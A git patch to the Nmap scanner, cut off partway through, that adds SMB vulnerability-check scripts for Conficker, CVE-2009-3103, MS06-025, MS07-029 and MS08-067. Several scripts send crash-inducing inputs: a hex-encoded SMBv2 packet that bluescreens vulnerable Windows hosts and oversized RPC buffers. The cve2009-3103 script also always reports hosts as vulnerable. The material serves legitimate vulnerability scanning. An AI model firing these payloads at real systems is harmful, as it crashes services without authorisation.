From 44045446b0d9f7f845ee5c1bea460e1c210b1d8e Mon Sep 17 00:00:00 2001 From: paulino Date: Sat, 3 Oct 2015 06:07:49 +0000 Subject: [PATCH] Splits smb-check-vulns into several scripts. The new scripts now support the library 'vulns'. Closes #171 --- CHANGELOG | 6 + scripts/script.db | 7 +- scripts/smb-vuln-conficker.nse | 190 ++++++++++++++++++++++++++++++ scripts/smb-vuln-cve2009-3103.nse | 178 ++++++++++++++++++++++++++++ scripts/smb-vuln-ms06-025.nse | 165 ++++++++++++++++++++++++++ scripts/smb-vuln-ms07-029.nse | 152 ++++++++++++++++++++++++ scripts/smb-vuln-ms08-067.nse | 157 ++++++++++++++++++++++++ scripts/smb-vuln-regsvc-dos.nse | 128 ++++++++++++++++++++ 8 files changed, 982 insertions(+), 1 deletion(-) create mode 100644 scripts/smb-vuln-conficker.nse create mode 100644 scripts/smb-vuln-cve2009-3103.nse create mode 100644 scripts/smb-vuln-ms06-025.nse create mode 100644 scripts/smb-vuln-ms07-029.nse create mode 100644 scripts/smb-vuln-ms08-067.nse create mode 100644 scripts/smb-vuln-regsvc-dos.nse diff --git a/CHANGELOG b/CHANGELOG index 13587b60a..ae792ad1d 100644 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,5 +1,11 @@ # Nmap Changelog ($Id$); -*-text-*- +o [NSE] Splits smb-check-vulns into smb-vuln-conficker, smb-vuln-cve2009-3103, + smb-vuln-ms06-025, smb-vuln-ms07-029, smb-vuln-regsvc-dos and smb-vuln-ms08-067. + The scripts now support the library vulns and the script arguments "safe" and + and "unsafe" were removed in favor of allowing users to control execution by + NSE category. [Paulino Calderon] + o [NSE] bacnet-info.nse and s7-info.nse were added to the version category. [Paulino Calderon] diff --git a/scripts/script.db b/scripts/script.db index 2b05e5bd7..23b0ee418 100644 --- a/scripts/script.db +++ b/scripts/script.db @@ -404,7 +404,6 @@ Entry { filename = "sip-enum-users.nse", categories = { "auth", "intrusive", } } Entry { filename = "sip-methods.nse", categories = { "default", "discovery", "safe", } } Entry { filename = "skypev2-version.nse", categories = { "version", } } Entry { filename = "smb-brute.nse", categories = { "brute", "intrusive", } } -Entry { filename = "smb-check-vulns.nse", categories = { "dos", "exploit", "intrusive", "vuln", } } Entry { filename = "smb-enum-domains.nse", categories = { "discovery", "intrusive", } } Entry { filename = "smb-enum-groups.nse", categories = { "discovery", "intrusive", } } Entry { filename = "smb-enum-processes.nse", categories = { "discovery", "intrusive", } } @@ -420,8 +419,14 @@ Entry { filename = "smb-psexec.nse", categories = { "intrusive", } } Entry { filename = "smb-security-mode.nse", categories = { "default", "discovery", "safe", } } Entry { filename = "smb-server-stats.nse", categories = { "discovery", "intrusive", } } Entry { filename = "smb-system-info.nse", categories = { "discovery", "intrusive", } } +Entry { filename = "smb-vuln-conficker.nse", categories = { "dos", "exploit", "intrusive", "vuln", } } +Entry { filename = "smb-vuln-cve2009-3103.nse", categories = { "dos", "exploit", "intrusive", "vuln", } } +Entry { filename = "smb-vuln-ms06-025.nse", categories = { "dos", "exploit", "intrusive", "vuln", } } +Entry { filename = "smb-vuln-ms07-029.nse", categories = { "dos", "exploit", "intrusive", "vuln", } } +Entry { filename = "smb-vuln-ms08-067.nse", categories = { "dos", "exploit", "intrusive", "vuln", } } Entry { filename = "smb-vuln-ms10-054.nse", categories = { "dos", "intrusive", "vuln", } } Entry { filename = "smb-vuln-ms10-061.nse", categories = { "intrusive", "vuln", } } +Entry { filename = "smb-vuln-regsvc-dos.nse", categories = { "dos", "exploit", "intrusive", "vuln", } } Entry { filename = "smbv2-enabled.nse", categories = { "default", "safe", } } Entry { filename = "smtp-brute.nse", categories = { "brute", "intrusive", } } Entry { filename = "smtp-commands.nse", categories = { "default", "discovery", "safe", } } diff --git a/scripts/smb-vuln-conficker.nse b/scripts/smb-vuln-conficker.nse new file mode 100644 index 000000000..19bec077b --- /dev/null +++ b/scripts/smb-vuln-conficker.nse @@ -0,0 +1,190 @@ +local msrpc = require "msrpc" +local nmap = require "nmap" +local smb = require "smb" +local stdnse = require "stdnse" +local string = require "string" +local table = require "table" +local vulns = require "vulns" + +description = [[ +Detects Microsoft Windows systems infected by the Conficker worm. This check is dangerous and +it may crash systems. + +Based loosely on the Simple Conficker Scanner, found here: +-- http://iv.cs.uni-bonn.de/wg/cs/applications/containing-conficker/ + +This check was previously part of smb-check-vulns. +]] +--- +--@usage +-- nmap --script smb-vuln-conficker.nse -p445 +-- nmap -sU --script smb-vuln-conficker.nse -p T:139 +-- +--@output +--| smb-vuln-conficker: +--| VULNERABLE: +--| Microsoft Windows system infected by Conficker +--| State: VULNERABLE +--| IDs: CVE:2008-4250 +--| This system shows signs of being infected by a variant of the worm Conficker. +--| References: +--| https://technet.microsoft.com/en-us/library/security/ms08-067.aspx +--| http://www.microsoft.com/security/portal/threat/encyclopedia/entry.aspx?Name=Win32%2fConficker +--|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=2008-4250 +--- + +author = {"Ron Bowes", "Jiayi Ye", "Paulino Calderon "} +copyright = "Ron Bowes" +license = "Same as Nmap--See http://nmap.org/book/man-legal.html" +categories = {"intrusive","exploit","dos","vuln"} +-- run after all smb-* scripts (so if it DOES crash something, it doesn't kill +-- other scans have had a chance to run) +dependencies = { + "smb-brute", "smb-enum-sessions", "smb-security-mode", + "smb-enum-shares", "smb-server-stats", + "smb-enum-domains", "smb-enum-users", "smb-system-info", + "smb-enum-groups", "smb-os-discovery", "smb-enum-processes", + "smb-psexec", +}; + +hostrule = function(host) + return smb.get_port(host) ~= nil +end + +local INFECTED = 5 +local INFECTED2 = 6 +local CLEAN = 7 + +-- Help messages for the more common errors seen by the Conficker check. +CONFICKER_ERROR_HELP = { + ["NT_STATUS_BAD_NETWORK_NAME"] = + [[UNKNOWN; Network name not found (required service has crashed). (Error NT_STATUS_BAD_NETWORK_NAME)]], + -- http://seclists.org/nmap-dev/2009/q1/0918.html "non-Windows boxes (Samba on Linux/OS X, or a printer)" + -- http://www.skullsecurity.org/blog/?p=209#comment-156 + -- "That means either it isn’t a Windows machine, or the service is + -- either crashed or not running. That may indicate a failed (or + -- successful) exploit attempt, or just a locked down system. + -- NT_STATUS_OBJECT_NAME_NOT_FOUND can be returned if the browser + -- service is disabled. There are at least two ways that can happen: + -- 1) The service itself is disabled in the services list. + -- 2) The registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Browser\Parameters\MaintainServerList + -- is set to Off/False/No rather than Auto or yes. + -- On these systems, if you reenable the browser service, then the + -- test will complete." + ["NT_STATUS_OBJECT_NAME_NOT_FOUND"] = + [[UNKNOWN; not Windows, or Windows with disabled browser service (CLEAN); or Windows with crashed browser service (possibly INFECTED). +| If you know the remote system is Windows, try rebooting it and scanning +|_ again. (Error NT_STATUS_OBJECT_NAME_NOT_FOUND)]], + -- http://www.skullsecurity.org/blog/?p=209#comment-100 + -- "That likely means that the server has been locked down, so we + -- don’t have access to the necessary pipe. Fortunately, that means + -- that neither does Conficker — NT_STATUS_ACCESS_DENIED probably + -- means you’re ok." + ["NT_STATUS_ACCESS_DENIED"] = + [[Likely CLEAN; access was denied. +| If you have a login, try using --script-args=smbuser=xxx,smbpass=yyy +| (replace xxx and yyy with your username and password). Also try +|_ smbdomain=zzz if you know the domain. (Error NT_STATUS_ACCESS_DENIED)]], + -- The cause of these two is still unknown. + -- ["NT_STATUS_NOT_SUPPORTED"] = + -- [[]] + -- http://thatsbroken.com/?cat=5 (doesn't seem common) + -- ["NT_STATUS_REQUEST_NOT_ACCEPTED"] = + -- [[]] +} + +---Check if the server is infected with Conficker. This can be detected by a modified MS08-067 patch, +-- which rejects a different illegal string than the official patch rejects. +-- +-- Based loosely on the Simple Conficker Scanner, found here: +-- http://iv.cs.uni-bonn.de/wg/cs/applications/containing-conficker/ +-- +-- If there's a licensing issue, please let me (Ron Bowes) know so I can fix it +-- +--@param host The host object. +--@return (status, result) If status is false, result is an error code; otherwise, result is either +-- INFECTED or INFECTED2 for infected or CLEAN for not infected. +function check_conficker(host) + local status, smbstate + local bind_result, netpathcompare_result + + -- Create the SMB session + status, smbstate = msrpc.start_smb(host, "\\\\BROWSER", true) + if(status == false) then + return false, smbstate + end + + -- Bind to SRVSVC service + status, bind_result = msrpc.bind(smbstate, msrpc.SRVSVC_UUID, msrpc.SRVSVC_VERSION, nil) + if(status == false) then + msrpc.stop_smb(smbstate) + return false, bind_result + end + + -- Try checking a valid string to find Conficker.D + local netpathcanonicalize_result, error_result + status, netpathcanonicalize_result, error_result = msrpc.srvsvc_netpathcanonicalize(smbstate, host.ip, "\\") + if(status == true and netpathcanonicalize_result['can_path'] == 0x5c45005c) then + msrpc.stop_smb(smbstate) + return true, INFECTED2 + end + + -- Try checking an illegal string ("\..\") to find Conficker.C and earlier + status, netpathcanonicalize_result, error_result = msrpc.srvsvc_netpathcanonicalize(smbstate, host.ip, "\\..\\") + + if(status == false) then + if(string.find(netpathcanonicalize_result, "INVALID_NAME")) then + msrpc.stop_smb(smbstate) + return true, CLEAN + elseif(string.find(netpathcanonicalize_result, "WERR_INVALID_PARAMETER") ~= nil) then + msrpc.stop_smb(smbstate) + return true, INFECTED + else + msrpc.stop_smb(smbstate) + return false, netpathcanonicalize_result + end + end + + -- Stop the SMB session + msrpc.stop_smb(smbstate) + + return true, CLEAN +end + +action = function(host) + + local status, result, message + local response = {} + local vuln_report = vulns.Report:new(SCRIPT_NAME, host) + local vuln_table = { + title = 'Microsoft Windows system infected by Conficker', + IDS = {CVE = '2008-4250'}, + description = [[ +This system shows signs of being infected by a variant of the worm Conficker.]], + state = vulns.STATE.NOT_VULN, + references = { + 'http://www.microsoft.com/security/portal/threat/encyclopedia/entry.aspx?Name=Win32%2fConficker', + 'https://technet.microsoft.com/en-us/library/security/ms08-067.aspx', + } + } + + -- Check for Conficker + status, result = check_conficker(host) + if(status == false) then + vuln_table.extra_info = CONFICKER_ERROR_HELP[result] or "UNKNOWN; got error " .. result + vuln_table.state = vulns.STATE.NOT_VULN + else + if(result == CLEAN) then + vuln_table.state = vulns.STATE.NOT_VULN + elseif(result == INFECTED) then + vuln_table.extra_info = "Likely infected by Conficker.C or lower" + vuln_table.state = vulns.STATE.LIKELY_VULN + elseif(result == INFECTED2) then + vuln_table.extra_info = "Likely infected by Conficker.D or higher" + vuln_table.state = vulns.STATE.LIKELY_VULN + else + vuln_table.state = vulns.STATE.NOT_VULN + end + end + return vuln_report:make_output(vuln_table) +end diff --git a/scripts/smb-vuln-cve2009-3103.nse b/scripts/smb-vuln-cve2009-3103.nse new file mode 100644 index 000000000..ef096ac8a --- /dev/null +++ b/scripts/smb-vuln-cve2009-3103.nse @@ -0,0 +1,178 @@ +local msrpc = require "msrpc" +local nmap = require "nmap" +local smb = require "smb" +local stdnse = require "stdnse" +local string = require "string" +local table = require "table" +local vulns = require "vulns" + +description = [[ +Detects Microsoft Windows systems vulnerable to denial of service (CVE-2009-3103). +This script will crash the service if it is vulnerable. + +The script performs a denial-of-service against the vulnerability disclosed in +CVE-2009-3103. This works against Windows Vista and some versions of Windows 7, +and causes a bluescreen if successful. The proof-of-concept code at +http://seclists.org/fulldisclosure/2009/Sep/39 was used, with one small change. + +This check was previously part of smb-check-vulns. +]] + +--- +--@usage +-- nmap --script smb-vuln-cve2009-3103.nse -p445 +-- nmap -sU --script smb-vuln-cve2009-3103.nse -p U:137,T:139 +-- +--@output +--Host script results: +--| smb-vuln-cve2009-3103: +--| VULNERABLE: +--| SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497) +--| State: VULNERABLE +--| IDs: CVE:CVE-2009-3103 +--| Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2, +--| Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to execute arbitrary code or cause a +--| denial of service (system crash) via an & (ampersand) character in a Process ID High header field in a NEGOTIATE +--| PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location, +--| aka "SMBv2 Negotiation Vulnerability." NOTE: some of these details are obtained from third party information. +--| +--| Disclosure date: 2009-09-08 +--| References: +--| http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103 +--|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103 +--- + +author = {"Ron Bowes", "Jiayi Ye", "Paulino Calderon "} +copyright = "Ron Bowes" +license = "Same as Nmap--See http://nmap.org/book/man-legal.html" +categories = {"intrusive","exploit","dos","vuln"} +-- run after all smb-* scripts (so if it DOES crash something, it doesn't kill +-- other scans have had a chance to run) +dependencies = { + "smb-brute", "smb-enum-sessions", "smb-security-mode", + "smb-enum-shares", "smb-server-stats", + "smb-enum-domains", "smb-enum-users", "smb-system-info", + "smb-enum-groups", "smb-os-discovery", "smb-enum-processes", + "smb-psexec", +}; + + +hostrule = function(host) + return smb.get_port(host) ~= nil +end + +local VULNERABLE = 1 +local PATCHED = 2 + +local function check_smbv2_dos(host) + -- From http://seclists.org/fulldisclosure/2009/Sep/0039.html with one change on the last line. + local buf = "\x00\x00\x00\x90" .. -- Begin SMB header: Session message + "\xff\x53\x4d\x42" .. -- Server Component: SMB + "\x72\x00\x00\x00" .. -- Negociate Protocol + "\x00\x18\x53\xc8" .. -- Operation 0x18 & sub 0xc853 + "\x00\x26" .. -- Process ID High: --> :) normal value should be "\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe" .. + "\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54" .. + "\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31" .. + "\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00" .. + "\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57" .. + "\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61" .. + "\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c" .. + "\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c" .. + "\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e" .. + "\x30\x30\x32\x00" + + local socket = nmap.new_socket() + if(socket == nil) then + return false, "Couldn't create socket" + end + + local status, result = socket:connect(host, 445) + if(status == false) then + socket:close() + return false, "Couldn't connect to host: " .. result + end + + status, result = socket:send(buf) + if(status == false) then + socket:close() + return false, "Couldn't send the buffer: " .. result + end + + -- Close the socket + socket:close() + + -- Give it some time to crash + stdnse.debug1("Waiting 5 seconds to see if Windows crashed") + stdnse.sleep(5) + + -- Create a new socket + socket = nmap.new_socket() + if(socket == nil) then + return false, "Couldn't create socket" + end + + -- Try and do something simple + stdnse.debug1("Attempting to connect to the host") + socket:set_timeout(5000) + status, result = socket:connect(host, 445) + + -- Check the result + if(status == false or status == nil) then + stdnse.debug1("Connect failed, host is likely vulnerable!") + socket:close() + return true, VULNERABLE + end + + -- Try sending something + stdnse.debug1("Attempting to send data to the host") + status, result = socket:send("AAAA") + if(status == false or status == nil) then + stdnse.debug1("Send failed, host is likely vulnerable!") + socket:close() + return true, VULNERABLE + end + + stdnse.debug1("Checks finished; host is likely not vulnerable.") + socket:close() + return true, PATCHED +end + +action = function(host) + + local status, result, message + local response = {} + local vuln_report = vulns.Report:new(SCRIPT_NAME, host) + local vuln_table = { + title = 'SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)', + state = vulns.STATE.NOT_VULN, + description = [[ + Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2, + Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to execute arbitrary code or cause a + denial of service (system crash) via an & (ampersand) character in a Process ID High header field in a NEGOTIATE + PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location, + aka "SMBv2 Negotiation Vulnerability." + ]], + IDS = {CVE = 'CVE-2009-3103'}, + references = { + 'http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103' + }, + dates = { + disclosure = {year = '2009', month = '09', day = '08'}, + } + } + + -- Check for SMBv2 vulnerability + status, result = check_smbv2_dos(host) + if(status == false) then + vuln_table.state = vulns.STATE.NOT_VULN + else + if(result == VULNERABLE) then + vuln_table.state = vulns.STATE.VULN + else + vuln_table.state = vulns.STATE.NOT_VULN + end + end + vuln_table.state = vulns.STATE.VULN + return vuln_report:make_output(vuln_table) +end diff --git a/scripts/smb-vuln-ms06-025.nse b/scripts/smb-vuln-ms06-025.nse new file mode 100644 index 000000000..b281acc46 --- /dev/null +++ b/scripts/smb-vuln-ms06-025.nse @@ -0,0 +1,165 @@ +local msrpc = require "msrpc" +local nmap = require "nmap" +local smb = require "smb" +local stdnse = require "stdnse" +local string = require "string" +local table = require "table" +local vulns = require "vulns" + +description = [[ +Detects Microsoft Windows systems with Ras RPC service vulnerable to MS06-025. + +MS06-025 targets the RasRpcSumbitRequest() RPC method which is +a part of RASRPC interface that serves as a RPC service for configuring and +getting information from the Remote Access and Routing service. RASRPC can be +accessed using either "\ROUTER" SMB pipe or the "\SRVSVC" SMB pipe (usually on Windows XP machines). +This is in RPC world known as "ncan_np" RPC transport. RasRpcSumbitRequest() +method is a generic method which provides different functionalities according +to the RequestBuffer structure and particularly the RegType field within that +structure. RegType field is of enum ReqTypes type. This enum type lists all +the different available operation that can be performed using the RasRpcSubmitRequest() +RPC method. The one particular operation that this vuln targets is the REQTYPE_GETDEVCONFIG +request to get device information on the RRAS. + +This script was previously part of smb-check-vulns. +]] +--- +--@usage +-- nmap --script smb-vuln-ms06-025.nse -p445 +-- nmap -sU --script smb-vuln-ms06-025.nse -p U:137,T:139 +-- +--@output +--| smb-vuln-ms06-025: +--| VULNERABLE: +--| RRAS Memory Corruption vulnerability (MS06-025) +--| State: VULNERABLE +--| IDs: CVE:CVE-2006-2370 +--| A buffer overflow vulnerability in the Routing and Remote Access service (RRAS) in Microsoft Windows 2000 SP4, XP SP1 +--| and SP2, and Server 2003 SP1 and earlier allows remote unauthenticated or authenticated attackers to +--| execute arbitrary code via certain crafted "RPC related requests" aka the "RRAS Memory Corruption Vulnerability." +--| +--| Disclosure date: 2006-6-27 +--| References: +--| https://technet.microsoft.com/en-us/library/security/ms06-025.aspx +--|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2370 +--- + +author = {"Ron Bowes", "Jiayi Ye", "Paulino Calderon "} +copyright = "Ron Bowes" +license = "Same as Nmap--See http://nmap.org/book/man-legal.html" +categories = {"intrusive","exploit","dos","vuln"} +-- run after all smb-* scripts (so if it DOES crash something, it doesn't kill +-- other scans have had a chance to run) +dependencies = { + "smb-brute", "smb-enum-sessions", "smb-security-mode", + "smb-enum-shares", "smb-server-stats", + "smb-enum-domains", "smb-enum-users", "smb-system-info", + "smb-enum-groups", "smb-os-discovery", "smb-enum-processes", + "smb-psexec", +}; + +hostrule = function(host) + return smb.get_port(host) ~= nil +end + +local VULNERABLE = 1 +local PATCHED = 2 +local UNKNOWN = 3 +local NOTUP = 8 + +---Check the existence of ms06_025 vulnerability in Microsoft Remote Routing +--and Access Service. This check is not safe as it crashes the RRAS service and +--its dependencies. +--@param host Host object. +--@return (status, result) +--* status == false -> result == NOTUP which designates +--that the targeted Ras RPC service is not active. +--* status == true -> +-- ** result == VULNERABLE for vulnerable. +-- ** result == PATCHED for not vulnerable. +function check_ms06_025(host) + --create the SMB session + --first we try with the "\router" pipe, then the "\srvsvc" pipe. + local status, smb_result, smbstate, err_msg + status, smb_result = msrpc.start_smb(host, msrpc.ROUTER_PATH) + if(status == false) then + err_msg = smb_result + status, smb_result = msrpc.start_smb(host, msrpc.SRVSVC_PATH) --rras is also accessible across SRVSVC pipe + if(status == false) then + return false, NOTUP --if not accessible across both pipes then service is inactive + end + end + smbstate = smb_result + --bind to RRAS service + local bind_result + status, bind_result = msrpc.bind(smbstate, msrpc.RASRPC_UUID, msrpc.RASRPC_VERSION, nil) + if(status == false) then + msrpc.stop_smb(smbstate) + return false, UNKNOWN --if bind operation results with a false status we can't conclude anything. + end + if(bind_result['ack_result'] == 0x02) then --0x02 == PROVIDER_REJECTION + msrpc.stop_smb(smbstate) + return false, NOTUP --if bind operation results with true but PROVIDER_REJECTION, then the service is inactive. + end + local req, buff, sr_result + req = msrpc.RRAS_marshall_RequestBuffer( + 0x01, + msrpc.RRAS_RegTypes['GETDEVCONFIG'], + stdnse.generate_random_string(3000, "0123456789abcdefghijklmnoprstuvzxwyABCDEFGHIJKLMNOPRSTUVZXWY")) + status, sr_result = msrpc.RRAS_SubmitRequest(smbstate, req) + msrpc.stop_smb(smbstate) + --sanity check + if(status == false) then + stdnse.debug3("check_ms06_025: RRAS_SubmitRequest failed") + if(sr_result == "NT_STATUS_PIPE_BROKEN") then + return true, VULNERABLE + else + return true, PATCHED + end + else + return true, PATCHED + end +end + +action = function(host) + local status, result, message + local response = {} + local vuln_report = vulns.Report:new(SCRIPT_NAME, host) + local vuln_table = { + title = 'RRAS Memory Corruption vulnerability (MS06-025)', + state = vulns.STATE.NOT_VULN, + description = [[ + A buffer overflow vulnerability in the Routing and Remote Access service (RRAS) in Microsoft Windows 2000 SP4, XP SP1 + and SP2, and Server 2003 SP1 and earlier allows remote unauthenticated or authenticated attackers to + execute arbitrary code via certain crafted "RPC related requests" aka the "RRAS Memory Corruption Vulnerability." + ]], + IDS = {CVE = 'CVE-2006-2370'}, + references = { + 'https://technet.microsoft.com/en-us/library/security/ms06-025.aspx' + }, + dates = { + disclosure = {year = '2006', month = '6', day = '27'}, + } + } + + -- Check for ms06-025 + status, result = check_ms06_025(host) + if(status == false) then + if(result == NOTUP) then + vuln_table.extra_info = "Ras RPC service is not enabled." + vuln_table.state = vulns.STATE.NOT_VULN + else + vuln_table.state = vulns.STATE.NOT_VULN + end + else + if(result == VULNERABLE) then + vuln_table.state = vulns.STATE.VULN + elseif(result == NOTUP) then + vuln_table.extra_info = "Ras RPC service is not enabled." + vuln_table.state = vulns.STATE.NOT_VULN + else + vuln_table.state = vulns.STATE.NOT_VULN + end + end + return vuln_report:make_output(vuln_table) +end diff --git a/scripts/smb-vuln-ms07-029.nse b/scripts/smb-vuln-ms07-029.nse new file mode 100644 index 000000000..89b74e6d2 --- /dev/null +++ b/scripts/smb-vuln-ms07-029.nse @@ -0,0 +1,152 @@ +local msrpc = require "msrpc" +local nmap = require "nmap" +local smb = require "smb" +local stdnse = require "stdnse" +local string = require "string" +local table = require "table" +local vulns = require "vulns" + +description = [[ +Detects Microsoft Windows systems with Dns Server RPC vulnerable to MS07-029. + +MS07-029 targets the R_DnssrvQuery() and R_DnssrvQuery2() +RPC method which isa part of DNS Server RPC interface that serves as a RPC service +for configuring and getting information from the DNS Server service. +DNS Server RPC service can be accessed using "\dnsserver" SMB named pipe. +The vulnerability is triggered when a long string is send as the "zone" parameter +which causes the buffer overflow which crashes the service. + +This check was previously part of smb-check-vulns. +]] +--- +--@usage +-- nmap --script smb-vuln-ms07-029.nse -p445 +-- nmap -sU --script smb-vuln-ms07-029.nse -p U:137,T:139 +-- +--@output +--Host script results: +--| smb-vuln-ms07-029: +--| VULNERABLE: +--| Windows DNS RPC Interface Could Allow Remote Code Execution (MS07-029) +--| State: VULNERABLE +--| IDs: CVE:CVE-2007-1748 +--| A stack-based buffer overflow in the RPC interface in the Domain Name System (DNS) Server Service in +--| Microsoft Windows 2000 Server SP 4, Server 2003 SP 1, and Server 2003 SP 2 allows remote attackers to +--| execute arbitrary code via a long zone name containing character constants represented by escape sequences. +--| +--| Disclosure date: 2007-06-06 +--| References: +--| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1748 +--|_ https://technet.microsoft.com/en-us/library/security/ms07-029.aspx +--- + +author = {"Ron Bowes", "Jiayi Ye", "Paulino Calderon "} +copyright = "Ron Bowes" +license = "Same as Nmap--See http://nmap.org/book/man-legal.html" +categories = {"intrusive","exploit","dos","vuln"} +-- run after all smb-* scripts (so if it DOES crash something, it doesn't kill +-- other scans have had a chance to run) +dependencies = { + "smb-brute", "smb-enum-sessions", "smb-security-mode", + "smb-enum-shares", "smb-server-stats", + "smb-enum-domains", "smb-enum-users", "smb-system-info", + "smb-enum-groups", "smb-os-discovery", "smb-enum-processes", + "smb-psexec", +}; + + +hostrule = function(host) + return smb.get_port(host) ~= nil +end + +local VULNERABLE = 1 +local PATCHED = 2 +local UNKNOWN = 3 +local NOTUP = 8 + +---Check the existence of ms07_029 vulnerability in Microsoft Dns Server service. +--This check is not safe as it crashes the Dns Server RPC service its dependencies. +--@param host Host object. +--@return (status, result) +--* status == false -> result == NOTUP which designates +--that the targeted Dns Server RPC service is not active. +--* status == true -> +-- ** result == VULNERABLE for vulnerable. +-- ** result == PATCHED for not vulnerable. + +function check_ms07_029(host) + --create the SMB session + local status, smbstate + status, smbstate = msrpc.start_smb(host, msrpc.DNSSERVER_PATH) + if(status == false) then + stdnse.debug1("check_ms07_029: Service is not active.") + return false, NOTUP --if not accessible across pipe then the service is inactive + end + --bind to DNSSERVER service + local bind_result + status, bind_result = msrpc.bind(smbstate, msrpc.DNSSERVER_UUID, msrpc.DNSSERVER_VERSION) + if(status == false) then + stdnse.debug1("check_ms07_029: false") + msrpc.stop_smb(smbstate) + return false, UNKNOWN --if bind operation results with a false status we can't conclude anything. + end + --call + local req_blob, q_result + status, q_result = msrpc.DNSSERVER_Query( + smbstate, + "VULNSRV", + string.rep("\\\13", 1000), + 1)--any op num will do + --sanity check + msrpc.stop_smb(smbstate) + if(status == false) then + stdnse.debug1("check_ms07_029: DNSSERVER_Query failed") + if(q_result == "NT_STATUS_PIPE_BROKEN") then + return true, VULNERABLE + else + return true, PATCHED + end + else + return true, PATCHED + end +end + +action = function(host) + local status, result, message + local response = {} + local vuln_report = vulns.Report:new(SCRIPT_NAME, host) + local vuln_table = { + title = 'Windows DNS RPC Interface Could Allow Remote Code Execution (MS07-029)', + state = vulns.STATE.NOT_VULN, + description = [[ + A stack-based buffer overflow in the RPC interface in the Domain Name System (DNS) Server Service in + Microsoft Windows 2000 Server SP 4, Server 2003 SP 1, and Server 2003 SP 2 allows remote attackers to + execute arbitrary code via a long zone name containing character constants represented by escape sequences. + ]], + IDS = {CVE = 'CVE-2007-1748'}, + references = { + 'https://technet.microsoft.com/en-us/library/security/ms07-029.aspx' + }, + dates = { + disclosure = {year = '2007', month = '06', day = '06'}, + } + } + + -- Check for ms07-029 + status, result = check_ms07_029(host) + if(status == false) then + if(result == NOTUP) then + vuln_table.extra_info = "Service is not active." + vuln_table.state = vulns.STATE.NOT_VULN + else + vuln_table.state = vulns.STATE.NOT_VULN + end + else + if(result == VULNERABLE) then + vuln_table.state = vulns.STATE.VULN + else + vuln_table.state = vulns.STATE.NOT_VULN + end + end + return vuln_report:make_output(vuln_table) +end diff --git a/scripts/smb-vuln-ms08-067.nse b/scripts/smb-vuln-ms08-067.nse new file mode 100644 index 000000000..6e905e79b --- /dev/null +++ b/scripts/smb-vuln-ms08-067.nse @@ -0,0 +1,157 @@ +local msrpc = require "msrpc" +local nmap = require "nmap" +local smb = require "smb" +local stdnse = require "stdnse" +local string = require "string" +local table = require "table" +local vulns = require "vulns" + +description = [[ +Detects Microsoft Windows systems vulnerable to the remote code execution vulnerability +known as MS08-067. This check is dangerous and it may crash systems. + +On a fairly wide scan conducted by Brandon Enright, we determined +that on average, a vulnerable system is more likely to crash than to survive +the check. Out of 82 vulnerable systems, 52 crashed. +Please consider this before running the script. + +This check was previously part of smb-check-vulns.nse. +]] +--- +--@usage +-- nmap --script smb-vuln-ms08-067.nse -p445 +-- nmap -sU --script smb-vuln-ms08-067.nse -p U:137 +-- +--@output +--| smb-vuln-ms08-067: +--| VULNERABLE: +--| Microsoft Windows system vulnerable to remote code execution (MS08-067) +--| State: VULNERABLE +--| IDs: CVE:CVE-2008-4250 +--| The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2, +--| Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary +--| code via a crafted RPC request that triggers the overflow during path canonicalization. +--| +--| Disclosure date: 2008-10-23 +--| References: +--| https://technet.microsoft.com/en-us/library/security/ms08-067.aspx +--|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250 +--- + +author = {"Ron Bowes", "Jiayi Ye", "Paulino Calderon "} +copyright = "Ron Bowes" +license = "Same as Nmap--See http://nmap.org/book/man-legal.html" +categories = {"intrusive","exploit","dos","vuln"} +-- run after all smb-* scripts (so if it DOES crash something, it doesn't kill +-- other scans have had a chance to run) +dependencies = { + "smb-brute", "smb-enum-sessions", "smb-security-mode", + "smb-enum-shares", "smb-server-stats", + "smb-enum-domains", "smb-enum-users", "smb-system-info", + "smb-enum-groups", "smb-os-discovery", "smb-enum-processes", + "smb-psexec", +}; + +hostrule = function(host) + return smb.get_port(host) ~= nil +end + +local VULNERABLE = 1 +local PATCHED = 2 +local UNKNOWN = 3 +local NOTRUN = 4 +local INFECTED = 5 + +---Check if the server is patched for MS08-067. This is done by calling NetPathCompare with an +-- illegal string. If the string is accepted, then the server is vulnerable; if it's rejected, then +-- you're safe (for now). +-- +-- Based on a packet cap of this script, thanks go out to the author: +-- http://labs.portcullis.co.uk/application/ms08-067-check/ +-- +-- NOTE: This CAN crash stuff (ie, crash svchost and force a reboot), so beware! In about 20 +-- tests I did, it crashed once. This is not a guarantee. +-- +--@param host The host object. +--@return (status, result) If status is false, result is an error code; otherwise, result is either +-- VULNERABLE for vulnerable, 